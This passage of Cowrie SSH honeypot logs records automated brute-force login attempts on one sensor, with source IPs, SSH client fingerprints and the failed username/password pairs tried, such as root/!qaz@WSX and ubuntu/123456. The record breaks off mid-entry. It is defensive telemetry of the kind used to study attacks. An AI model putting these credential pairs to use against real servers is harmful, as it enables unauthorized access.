{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":54066,"dst_ip":"159.203.135.109","dst_port":22,"session":"7dee0451805d","protocol":"ssh","message":"New connection: 192.109.200.237:54066 (159.203.135.109:22) [session: 7dee0451805d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:04.257703Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:04.262599Z","src_ip":"192.109.200.237","session":"7dee0451805d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:04.346056Z","src_ip":"192.109.200.237","session":"7dee0451805d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"123456","message":"login attempt [openclaw/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:04.597439Z","src_ip":"192.109.200.237","session":"7dee0451805d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:05.684010Z","src_ip":"192.109.200.237","session":"7dee0451805d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":54078,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed381d62b5a5","protocol":"ssh","message":"New connection: 192.109.200.237:54078 (159.203.135.109:22) [session: ed381d62b5a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:07.488935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:07.497615Z","src_ip":"192.109.200.237","session":"ed381d62b5a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:07.579992Z","src_ip":"192.109.200.237","session":"ed381d62b5a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pz","password":"pz","message":"login attempt [pz/pz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:07.827821Z","src_ip":"192.109.200.237","session":"ed381d62b5a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:09.023305Z","src_ip":"192.109.200.237","session":"ed381d62b5a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":42770,"dst_ip":"159.203.135.109","dst_port":22,"session":"ceb707617954","protocol":"ssh","message":"New connection: 192.109.200.237:42770 (159.203.135.109:22) [session: ceb707617954]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:10.728021Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:10.732416Z","src_ip":"192.109.200.237","session":"ceb707617954","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:10.818135Z","src_ip":"192.109.200.237","session":"ceb707617954","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!qaz@WSX","message":"login attempt [root/!qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:11.065301Z","src_ip":"192.109.200.237","session":"ceb707617954","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:12.150662Z","src_ip":"192.109.200.237","session":"ceb707617954","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":42778,"dst_ip":"159.203.135.109","dst_port":22,"session":"30b7c32f4d53","protocol":"ssh","message":"New connection: 192.109.200.237:42778 (159.203.135.109:22) [session: 30b7c32f4d53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:13.960639Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:13.980066Z","src_ip":"192.109.200.237","session":"30b7c32f4d53","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:14.044317Z","src_ip":"192.109.200.237","session":"30b7c32f4d53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q2w3e4r","message":"login attempt [root/!Q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:14.364630Z","src_ip":"192.109.200.237","session":"30b7c32f4d53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:15.450674Z","src_ip":"192.109.200.237","session":"30b7c32f4d53","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":42788,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e0d29d77ce0","protocol":"ssh","message":"New connection: 192.109.200.237:42788 (159.203.135.109:22) [session: 0e0d29d77ce0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:17.236806Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:17.241931Z","src_ip":"192.109.200.237","session":"0e0d29d77ce0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:17.325769Z","src_ip":"192.109.200.237","session":"0e0d29d77ce0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456","message":"login attempt [ubuntu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:17.573066Z","src_ip":"192.109.200.237","session":"0e0d29d77ce0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":57892,"dst_ip":"159.203.135.109","dst_port":22,"session":"b955b26e1b23","protocol":"ssh","message":"New connection: 194.59.206.2:57892 (159.203.135.109:22) [session: b955b26e1b23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:18.177033Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:18.200930Z","src_ip":"194.59.206.2","session":"b955b26e1b23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:18.312690Z","src_ip":"194.59.206.2","session":"b955b26e1b23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:18.485256Z","src_ip":"194.59.206.2","session":"b955b26e1b23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:18.715576Z","src_ip":"192.109.200.237","session":"0e0d29d77ce0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":54170,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ef9c7312db9","protocol":"ssh","message":"New connection: 192.109.200.237:54170 (159.203.135.109:22) [session: 8ef9c7312db9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:20.408863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:20.413654Z","src_ip":"192.109.200.237","session":"8ef9c7312db9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:20.496386Z","src_ip":"192.109.200.237","session":"8ef9c7312db9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0","message":"login attempt [root/0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:20.746311Z","src_ip":"192.109.200.237","session":"8ef9c7312db9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:21.837044Z","src_ip":"192.109.200.237","session":"8ef9c7312db9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":54184,"dst_ip":"159.203.135.109","dst_port":22,"session":"c3e8db674aab","protocol":"ssh","message":"New connection: 192.109.200.237:54184 (159.203.135.109:22) [session: c3e8db674aab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:23.584956Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:23.594478Z","src_ip":"192.109.200.237","session":"c3e8db674aab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:23.678555Z","src_ip":"192.109.200.237","session":"c3e8db674aab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"palworld","password":"palworld","message":"login attempt [palworld/palworld] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:23.943996Z","src_ip":"192.109.200.237","session":"c3e8db674aab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:25.029611Z","src_ip":"192.109.200.237","session":"c3e8db674aab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":54190,"dst_ip":"159.203.135.109","dst_port":22,"session":"b09173750c9d","protocol":"ssh","message":"New connection: 192.109.200.237:54190 (159.203.135.109:22) [session: b09173750c9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:26.837927Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:26.842021Z","src_ip":"192.109.200.237","session":"b09173750c9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-